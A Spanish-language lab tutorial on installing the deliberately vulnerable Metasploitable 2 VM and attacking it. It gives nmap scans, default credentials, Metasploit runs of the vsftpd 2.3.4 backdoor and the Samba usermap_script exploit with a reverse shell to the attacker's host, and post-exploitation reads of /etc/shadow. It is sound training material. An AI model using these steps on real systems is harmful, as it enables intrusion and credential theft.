Metasploitable es una máquina virtual Linux vulnerable a propósito, creada por Rapid7, que funciona como entorno de práctica seguro y legal para aprender pentesting y hacking ético. A diferencia de un sistema real, está diseñada para ser comprometida: contiene decenas de servicios mal configurados, versiones antiguas con exploits conocidos y credenciales por defecto, todo listo para que practiques sin riesgo ni consecuencias legales.
Qué es Metasploitable y cuáles son sus versiones
Metasploitable es un proyecto open source mantenido por Rapid7 (los creadores de Metasploit Framework). Su único propósito es servir de blanco de práctica: cada servicio que expone tiene vulnerabilidades reales y documentadas. Por eso es una buena compañera para aprender a usar Metasploit Framework sin arriesgar sistemas reales.
Existen dos versiones principales que conviene conocer:
- Metasploitable 2: la versión más popular y ampliamente documentada. Basada en Ubuntu 8.04 (Hardy). Incluye un catálogo extenso de servicios vulnerables (FTP, SSH, Telnet, HTTP, SMB, MySQL, PostgreSQL, VNC, IRC, Java RMI…). Es la versión recomendada para principiantes por la cantidad de guías y recursos disponibles.
- Metasploitable 3: versión más reciente, disponible en variantes Windows Server 2008 y Ubuntu 14.04. Más compleja, orientada a usuarios intermedios-avanzados. Requiere Vagrant y VirtualBox para construirse. Incluye vulnerabilidades modernas y un entorno más cercano a producción real.
Esta guía se centra en Metasploitable 2, el punto de entrada casi obligado para quienes dan sus primeros pasos en pentesting.
«Metasploitable is an intentionally vulnerable Linux virtual machine. This VM can be used to conduct security training, test security tools, and practice common penetration testing techniques.»
— Metasploitable 2 Exploitability Guide, Rapid7 Documentation
Descarga e instalación en VirtualBox (red host-only)
Antes de empezar necesitas tener instalado VirtualBox (gratuito, disponible en virtualbox.org). Si ya tienes montado tu laboratorio de hacking, consulta nuestra guía sobre cómo crear un laboratorio de hacking en casa para ver el contexto completo.
Paso 1: descargar Metasploitable 2
Descarga el archivo .zip oficial desde SourceForge (enlace distribuido por Rapid7):
https://sourceforge.net/projects/metasploitable/files/Metasploitable2/
El archivo pesa aproximadamente 800 MB. Descomprime el .zip: obtendrás una carpeta con un archivo .vmdk (el disco virtual) y un .vmx (configuración VMware). Usaremos el .vmdk directamente en VirtualBox.
Paso 2: crear la máquina virtual en VirtualBox
- Abre VirtualBox y haz clic en Nueva.
- Nombre:
Metasploitable2| Tipo: Linux | Versión: Ubuntu (32-bit). - RAM: asigna 512 MB (es suficiente; la VM es muy ligera).
- En «Disco duro», selecciona Usar un archivo de disco duro virtual existente y elige el archivo
.vmdkdescargado. - Haz clic en Crear.
Paso 3: configurar la red en modo Host-Only (obligatorio)
Este paso es crítico. La VM nunca debe estar conectada a Internet ni a tu red doméstica.
- En VirtualBox, ve a Archivo → Administrador de red de anfitrión y crea un adaptador
vboxnet0si no existe (rango típico:192.168.56.0/24). - En la configuración de tu VM Metasploitable2, ve a Red → Adaptador 1.
- Selecciona Conectado a: Solo-anfitrión (Host-Only) y elige
vboxnet0. - Asegúrate de que no hay un segundo adaptador NAT habilitado.
Paso 4: arrancar y verificar
Inicia la VM. Verás el prompt de login en unos segundos (sin entorno gráfico). Las credenciales por defecto son:
Usuario: msfadmin
Contraseña: msfadmin
Una vez dentro, obtén la IP asignada:
ifconfig eth0
Anota esa IP (normalmente en el rango 192.168.56.x). La usarás como objetivo en todos los ejercicios.
Servicios vulnerables incluidos en Metasploitable 2
La máquina expone una cantidad enorme de servicios con vulnerabilidades conocidas. La siguiente tabla resume los más relevantes para practicar.
| Servicio | Puerto | Vulnerabilidad / cómo se explota |
|---|---|---|
| vsftpd 2.3.4 | 21/TCP | Backdoor CVE-2011-2523 — poner :) en usuario abre shell en puerto 6200. Módulo: exploit/unix/ftp/vsftpd_234_backdoor |
| OpenSSH 4.7p1 | 22/TCP | Versión antigua; acceso directo con credenciales msfadmin:msfadmin vía fuerza bruta o login directo |
| Telnet | 23/TCP | Protocolo sin cifrado; credenciales en texto plano capturables con Wireshark |
| Samba 3.0.20 | 139/445 TCP | CVE-2007-2447 usermap_script — RCE sin autenticación. Módulo: exploit/multi/samba/usermap_script |
| Apache 2.2.8 | 80/TCP | Aplicaciones web vulnerables (DVWA, Mutillidae, phpMyAdmin, TWiki) con SQLi, XSS, LFI, RCE |
| MySQL 5.0.51a | 3306/TCP | Acceso root sin contraseña: mysql -u root -h <IP> |
| PostgreSQL 8.3 | 5432/TCP | Credenciales por defecto + módulo exploit/linux/postgres/postgres_payload |
| Java RMI | 1099/TCP | RCE vía exploit/multi/misc/java_rmi_server |
| UnrealIRCd 3.2.8.1 | 6667/TCP | Backdoor con RCE. Módulo: exploit/unix/irc/unreal_ircd_3281_backdoor |
| VNC | 5900/TCP | Contraseña por defecto password; acceso gráfico completo |
| Bindshell (root) | 1524/TCP | Shell root a la escucha; conexión directa con nc <IP> 1524 |
Cómo empezar a atacarla: flujo completo paso a paso
El flujo de trabajo en pentesting sigue casi siempre la misma secuencia: reconocimiento, enumeración, explotación. Aquí lo aplicamos contra Metasploitable 2 desde una máquina Kali Linux en la misma red host-only. Puedes ver más comandos de Nmap en nuestra cheat sheet de Nmap.
Fase 1: descubrimiento de hosts con Nmap
Lo primero es localizar la IP de Metasploitable en la red host-only y ver qué puertos tiene abiertos:
# Descubrimiento de hosts en la red host-only
nmap -sn 192.168.56.0/24
# Escaneo completo de puertos con detección de versiones
nmap -sV -sC -O -p- --open 192.168.56.101 -oN metasploitable2_scan.txt
El parámetro -sV detecta versiones de servicios, -sC lanza scripts básicos de NSE, y -oN guarda el resultado en un archivo. El resultado mostrará decenas de puertos abiertos con versiones antiguas.
Fase 2: enumerar el servicio FTP (vsftpd 2.3.4)
# Comprobación manual del banner FTP
nc 192.168.56.101 21
# Salida esperada:
# 220 (vsFTPd 2.3.4)
Al ver la versión 2.3.4, sabemos que existe la backdoor CVE-2011-2523. Pasamos a Metasploit.
Fase 3: explotación con Metasploit Framework
# Iniciar Metasploit
msfconsole
# Buscar el módulo para vsftpd
msf6 > search vsftpd
# Resultado:
# exploit/unix/ftp/vsftpd_234_backdoor
# Cargar el módulo
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
# Ver opciones necesarias
msf6 exploit(vsftpd_234_backdoor) > show options
# Configurar el objetivo
msf6 exploit(vsftpd_234_backdoor) > set RHOSTS 192.168.56.101
# Ejecutar el exploit
msf6 exploit(vsftpd_234_backdoor) > run
# Salida esperada si funciona:
# [*] 192.168.56.101:21 - Banner: 220 (vsFTPd 2.3.4)
# [*] 192.168.56.101:21 - USER: 331 Please specify the password.
# [+] 192.168.56.101:21 - Backdoor service has been spawned, handling...
# [+] 192.168.56.101:21 - UID: uid=0(root) gid=0(root)
# [*] Found shell.
# [*] Command shell session 1 opened
Tenemos una shell como root. Así de directo. Ahora veamos otro ejemplo con Samba.
Fase 4: explotación de Samba (usermap_script)
# En msfconsole
msf6 > use exploit/multi/samba/usermap_script
msf6 exploit(usermap_script) > set RHOSTS 192.168.56.101
msf6 exploit(usermap_script) > set LHOST 192.168.56.1 # IP de tu Kali
msf6 exploit(usermap_script) > set payload cmd/unix/reverse
msf6 exploit(usermap_script) > run
# Salida esperada:
# [*] Started reverse TCP double handler on 192.168.56.1:4444
# [*] Accepted the first client connection...
# [*] Command: echo XXXXX;
# [*] Writing to socket A
# [+] Command shell session 2 opened
# whoami
# root
Fase 5: post-explotación básica
# Dentro de la shell obtenida
whoami # confirmar que eres root
id # uid=0(root) gid=0(root)
uname -a # info del sistema: Linux metasploitable 2.6.24-16-server
cat /etc/passwd # ver usuarios del sistema
cat /etc/shadow # hashes de contraseñas (como root, acceso directo)
Credenciales por defecto en Metasploitable 2
Más allá de los exploits, muchos servicios se pueden comprometer simplemente usando las credenciales que vienen de serie:
- SSH / sistema Linux:
msfadmin / msfadmin - MySQL: usuario
rootsin contraseña - PostgreSQL:
postgres / postgres - VNC: contraseña
password - phpMyAdmin:
rootsin contraseña (acceso desde el navegador) - DVWA:
admin / password - Tomcat:
tomcat / tomcat
Vídeo recomendado: pentesting en Metasploitable 2
Este tutorial en español de Contando Bits cubre el flujo completo de pentesting contra Metasploitable 2 con Kali Linux, desde el escaneo hasta la explotación:
Buenas prácticas al trabajar con Metasploitable
- Red host-only siempre: nunca conectes Metasploitable a tu red doméstica ni a Internet. Un atacante externo podría comprometer tu red entera en segundos a través de ella.
- Documenta todo: anota cada comando, cada resultado, cada módulo usado. El hábito de documentar te sirve para el pentesting real.
- No te quedes solo con el exploit: entiende por qué funciona cada vulnerabilidad. Busca el CVE, lee la descripción, comprende el vector de ataque.
- Practica también la defensa: después de explotar un servicio, piensa cómo se mitigaría en un sistema real (actualizar versión, firewall, configuración correcta).
- Combínala con otras plataformas: Metasploitable es un buen punto de partida, pero conviene completar la práctica con otras plataformas para practicar hacking como HackTheBox o TryHackMe.
Preguntas frecuentes
¿Es legal usar Metasploitable?
Sí, completamente legal. Metasploitable es una máquina diseñada para ser atacada. Siempre que la ejecutes en un entorno local aislado y contra sistemas de tu propiedad, no hay ningún problema legal. Lo que es ilegal es atacar sistemas ajenos sin permiso, sea cual sea la herramienta usada.
¿Qué diferencia hay entre Metasploitable 2 y Metasploitable 3?
Metasploitable 2 es una imagen OVA/VMDK lista para importar, basada en Ubuntu 8.04, muy sencilla de poner en marcha y con documentación abundante. Metasploitable 3 requiere construirse con Vagrant y Packer, ofrece versiones Windows y Linux, y está orientada a escenarios más complejos y realistas. Para principiantes, la versión 2 es la opción acertada.
¿Necesito Kali Linux para atacar Metasploitable?
No es estrictamente necesario, pero sí es lo más cómodo. Kali Linux incluye Metasploit Framework, Nmap, Wireshark y todas las herramientas de pentesting preinstaladas. También puedes usar Parrot OS o cualquier distribución donde instales manualmente las herramientas necesarias.
¿Qué es lo primero que debo explotar en Metasploitable 2?
El exploit más didáctico para empezar es la backdoor de vsftpd 2.3.4 (puerto 21), porque es directo, funciona en segundos con Metasploit y da acceso root inmediato. Luego sigue con Samba (puerto 445) y las aplicaciones web en el puerto 80 (DVWA para SQLi y XSS). Este orden progresivo ayuda a ir entendiendo diferentes tipos de vulnerabilidades.
¿Metasploitable 2 tiene interfaz gráfica?
No tiene escritorio gráfico, pero sí tiene un servidor web (Apache) accesible desde tu navegador en http://192.168.56.101. Ahí encontrarás aplicaciones web vulnerables como DVWA, Mutillidae y phpMyAdmin. Para acceso gráfico de escritorio, puedes conectarte por VNC al puerto 5900 con la contraseña password.
Próximos pasos
Una vez que hayas explotado los servicios principales de Metasploitable 2, toca profundizar. Aprende a usar Metasploit Framework en profundidad para entender todos los tipos de payloads y módulos disponibles. Consulta también nuestra guía completa para montar tu laboratorio de hacking en casa y añadir más máquinas vulnerables a tu red de práctica.
